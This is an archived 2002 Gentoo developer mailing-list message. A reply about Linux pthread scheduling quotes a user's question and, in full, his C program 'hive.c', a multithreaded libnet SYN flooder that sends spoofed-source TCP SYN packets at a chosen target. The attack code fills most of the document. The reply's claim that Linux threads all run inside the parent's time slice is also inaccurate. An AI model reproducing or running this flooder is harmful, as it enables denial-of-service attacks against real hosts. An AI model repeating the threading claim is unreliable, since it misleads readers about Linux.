Gentoo Archives: gentoo-dev

From: Brandon Low <lostlogic@g.o>
To: gentoo-dev@g.o
Subject: Re: [gentoo-dev] real concurrent multithreading with posix threads (pthreads)
Date: Sat, 29 Jun 2002 12:37:18
Message-Id: 20020629123718.A4193@lostlogicx.com
In Reply to: [gentoo-dev] real concurrent multithreading with posix threads (pthreads) by "Miguel S. Filipe"
1 Well, I just happen to be taking an operating systems class ATM and yes in
2 linux the normal behavior is that glibc handles thread scheduling, but all
3 the threads are scheduled within the parent process' time slice. If you
4 NEED to have threads that run on different processors, and are scheduled
5 at the kernel level, from what I have thus far learned it appears that
6 Solaris or WinNT/2k/XPpro are the places to be.
7
8 Hope this information is helpful.
9
10 --Brandon
11
12 On Sat, 06/29/02 at 18:17:19 +0100, Miguel S. Filipe wrote:
13 > Hi all,
14 > After making a very simple program that uses pthreads and libnet..
15 > I realised that even in my smp system my proggie didn't run with the
16 > threads simultaneasly, one in each CPU..
17 > The threads don't yield the processor, but they finish all aproximatly
18 > at the same time wich means that they're being scheduled right?
19 > Is this the default behaviour of the linux kernel?
20 > threads of the same processor share the timeslice of the processor...?
21 >
22 > TIA.
23 >
24 > I send the lame code attached..
25 >
26 > p.s.: what is the more adequate ML to address these kind of problems? LKM?
27 >
28 > Miguel Sousa Filipe
29 > irc handle: m3thos
30
31 > /* hive.c 1.0 (23.10.2001)
32 > * synflooder, feito com libnet, e pthreads
33 > * corrigi umas cenas a 28.6.2002, básicamente foi passar o input para ponteiro
34 > * e deixou de ter os problemas de instabilidade que tinha no linux
35 > */
36 >
37 > #include <stdio.h>
38 > #include <libnet.h>
39 > #include <pthread.h>
40 >
41 > #define MAX_BEES 32000
42 > #define MAX_ATTACKS 1000000
43 >
44 > typedef struct {
45 > unsigned int packet_size, num_packets;
46 > u_long src_ip, dst_ip;
47 > } hive_input;
48 >
49 > hive_input *input;
50 >
51 > void usage(char *func,int err_t)
52 > {
53 > printf("usage: %s <dest_ip> <src_ip> <num_of_bees> <attacks_per_bee>\n",func);
54 > if (err_t == 1)
55 > fprintf(stderr,"hive:Incorrect number of arguments\n");
56 > else if (err_t == 2)
57 > fprintf(stderr,"hive:Incorrect number of bees, must be positive(DUH) and smaller than %d\n",MAX_BEES);
58 > else if (err_t == 3)
59 > fprintf(stderr,"hive:Incorrect number of attacks, must bepositive and smaller than %d\n",MAX_ATTACKS);
60 > else
61 > fprintf(stderr,"hive:Incorrect dest_ip or src_ip\n");
62 > }
63 >
64 >
65 > void *bee(void *ptr)
66 > {
67 > int a, c, network;
68 > struct libnet_arena arena, *arena_p;
69 > hive_input *h = (hive_input *) ptr;
70 > u_char *packet[h->num_packets];
71 >
72 >
73 > /* initialize packet arena */
74 > arena_p = &arena;
75 > if (libnet_init_packet_arena( &arena_p, h->num_packets, h->packet_size) ==-1)
76 > libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet_arena failed\n");
77 >
78 >
79 > /* initialize network */
80 > network = libnet_open_raw_sock(IPPROTO_RAW);
81 > if (network == -1)
82 > libnet_error(LIBNET_ERR_FATAL, "Can't open raw socket\n");
83 >
84 >
85 > /* a++; while(packet[a] = libnet_next_packet_from_arena( &arena_p, h->packet_size)){ */
86 > for(a = 0; a < h->num_packets; a++){
87 > packet[a] = libnet_next_packet_from_arena( &arena_p, h->packet_size);
88 >
89 > if (!packet[a])
90 > libnet_error(LIBNET_ERR_WARNING, "Arena is empty\n");
91 >
92 > /* ip header */
93 > libnet_build_ip(LIBNET_TCP_H, /* size of packet without IP header */
94 > IPTOS_LOWDELAY, /* tos */
95 > a, /* id */
96 > 0, /* frag crap */
97 > 255, /* ttl */
98 > IPPROTO_TCP, /* protocol */
99 > h->src_ip, /* source ip */
100 > h->dst_ip, /* destination ip */
101 > NULL, /* payload */
102 > 0, /* payload size */
103 > packet[a]); /* packet header memory */
104 >
105 > /* tcp header */
106 > libnet_build_tcp(libnet_get_prand( LIBNET_PRu16), /* source TCP port */
107 > libnet_get_prand( LIBNET_PRu16), /* destination TCP port */
108 > libnet_get_prand( LIBNET_PRu32), /* sequence number */
109 > libnet_get_prand( LIBNET_PRu32), /* acknoledge number */
110 > TH_SYN, /* control flag */
111 > 1024, /* window size ?*/
112 > 0, /* urgent poitner ?*/
113 > NULL, /* payload ?*/
114 > 0, /* payload size ?*/
115 > packet[a] + LIBNET_IP_H); /* packet header memory */
116 >
117 > /* do checksum */
118 > if (libnet_do_checksum(packet[a], IPPROTO_TCP, LIBNET_TCP_H) == -1)
119 > libnet_error(LIBNET_ERR_FATAL, "libnet_do_checkum failed\n");
120 >
121 > /* send packet */
122 > c = libnet_write_ip(network, packet[a], h->packet_size);
123 > if (c == -1)
124 > libnet_error(LN_ERR_WARNING, "WARN: bee.%ld, unable to send packet %d\n",(long int)pthread_self(),a);
125 > else if (c < h->packet_size)
126 > libnet_error(LN_ERR_WARNING, "WARN: libnet_write_ip only wrote %d bytes",c);
127 > }
128 >
129 > if (libnet_close_raw_sock(network) == -1)
130 > libnet_error(LN_ERR_WARNING, "WARN: libnet_close_raw_sock couldn't close interface");
131 > libnet_destroy_packet_arena(&arena_p);
132 > printf(" bee.% 3ld was able to attack %d times\n",(long int)pthread_self(),a);
133 > return NULL;
134 > }
135 >
136 >
137 > int main(int argc, char **argv)
138 > {
139 > u_short i,bees;
140 > pthread_t tid[MAX_BEES];
141 >
142 > printf("Hive 1.0, by m3thos (23.10.2001)\n\n");
143 > if (argc != 5)
144 > usage(argv[0],1);
145 >
146 > input = (hive_input *) malloc(sizeof(hive_input));
147 > if (!(input->dst_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE))){
148 > libnet_error(LIBNET_ERR_FATAL, "Bad destination IP address: $s\n",argv[1]);
149 > }
150 > if (!(input->src_ip = libnet_name_resolve(argv[2], LIBNET_RESOLVE))){
151 > libnet_error(LIBNET_ERR_FATAL, "Bad source IP address: $s\n",argv[2]);
152 > }
153 >
154 > if (!input->src_ip || !input->dst_ip)
155 > {
156 > usage(argv[0],4);
157 > exit (4);
158 > }
159 >
160 > bees = (u_short)atoi(argv[3]);
161 > if (!bees || bees > MAX_BEES)
162 > {
163 > usage(argv[0],2);
164 > exit (2);
165 > }
166 >
167 > input->num_packets = (int)atoi(argv[4]);
168 > if (!input->num_packets || input->num_packets > MAX_ATTACKS)
169 > {
170 > usage(argv[0],3);
171 > exit (3);
172 > }
173 >
174 > /* tcp packet with no payload, so, size is ip header + tcp header. */
175 > input->packet_size = LIBNET_IP_H + LIBNET_TCP_H;
176 >
177 > printf("hive has %d bees\n",bees);
178 > printf(" %d attacks of %d bytes per bee\n", input->num_packets, input->packet_size);
179 > printf("SYN flood of %d kbytes to %s\n", input->packet_size * input->num_packets * bees / 1024, argv[1]);
180 >
181 > for(i = 0; i < bees; i++){
182 > printf(".");
183 > if (pthread_create(&tid[i], NULL, bee, (void *)input) != 0)
184 > {
185 > printf("Error creating Pthread\n");
186 > exit (10);
187 > }
188 > }
189 > printf("\n");
190 > for(i = 0; i < bees; i++)
191 > pthread_join(tid[i], NULL);
192 > printf("ALL DONE\n");
193 > return 0;
194 > }